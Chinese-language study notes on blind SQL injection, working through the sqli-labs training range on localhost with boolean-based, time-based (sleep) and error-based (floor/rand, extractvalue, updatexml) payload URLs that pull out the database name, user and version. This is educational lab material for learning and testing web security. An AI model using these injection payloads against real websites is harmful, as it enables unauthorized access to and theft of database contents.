学习内容:
布尔盲注时间盲注
报错盲注
前言
何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。从 background-1 中,我们可以知道盲注分为三类•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
注:使用靶场:sqli-labs
靶场下载地址:https://github.com/Audi-1/sqli-labs
一、基于布尔盲注
盲注前首先需要了解mysql中字符串截取相关的操作:△ mid(), substr(),用法相同
substr(str,pos1,pos2);
从pos1开始截取str字符串到pos2位置,下标从1开始
例:substr(database(),1,1)='s'
http://127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),1,1)='s' --+
△ left(str,pos)
从str左边开始截取pos长度
例:left(database(),1)='s'
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),1)='s'--+
△ ascii(), ord() 将字符串转换为ascii类型
例:http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr(database(),1,1))=115 --+
△ regexp 正则
正则注入介绍:https://www.cnblogs.com/lcamry/articles/5717442.html
例:select user() regexp ‘^[a-z]’
select user() regexp ‘^ro’
http://127.0.0.1/sqlilabs/Less-5/?id=1’ and 1=(if((user() regexp ‘^r’),1,0))–+
http://127.0.0.1/sqlilabs/Less-5/?id=1’ and 1=(user() regexp ‘^ro’)–+
△ like 注入
例:select user() like ‘ro%’
http://127.0.0.1/sqlilabs/Less-5/?id=1’ and 1=(user() like ‘ro%’)–+
二、基于时间盲注
△ if(ascii(substr(database(),1,1))>114,sleep(5),0)http://127.0.0.1/sqlilabs/Less-5/?id=1' and if(ascii(substr(database(),1,1))>114,sleep(3),1)--+
△ sleep(if(ord(mid(database(),1,1))>114,3,0))
http://127.0.0.1/sqlilabs/Less-5/?id=1' and sleep(if(ord(mid(database(),1,1))>114,3,0))--+
三、基于报错盲注
△ select count(*),concat(0x7e,0x7e,(select user()),0x7e,0x7e,floor(rand(0)*2))a from information_schema.tables group by a;http://127.0.0.1/sqlilabs/Less-5/?id=1' union select 1,count(*),concat(0x7e,0x7e,(select user()),0x7e,0x7e,floor(rand(0)*2))a from information_schema.tables group by a--+
以上语句可以简化成下面的形式:
http://127.0.0.1/sqlilabs/Less-5/?id=1' union select 1,count(*),3 from information_schema.columns group by concat(version(),floor(rand(0)*2))--+
△ extractvalue(1,concat(0x7e,(select user()),0x7e))
http://127.0.0.1/sqlilabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+
△ updatexml(1,concat(0x7e,(select user()),0x7e),1)
http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+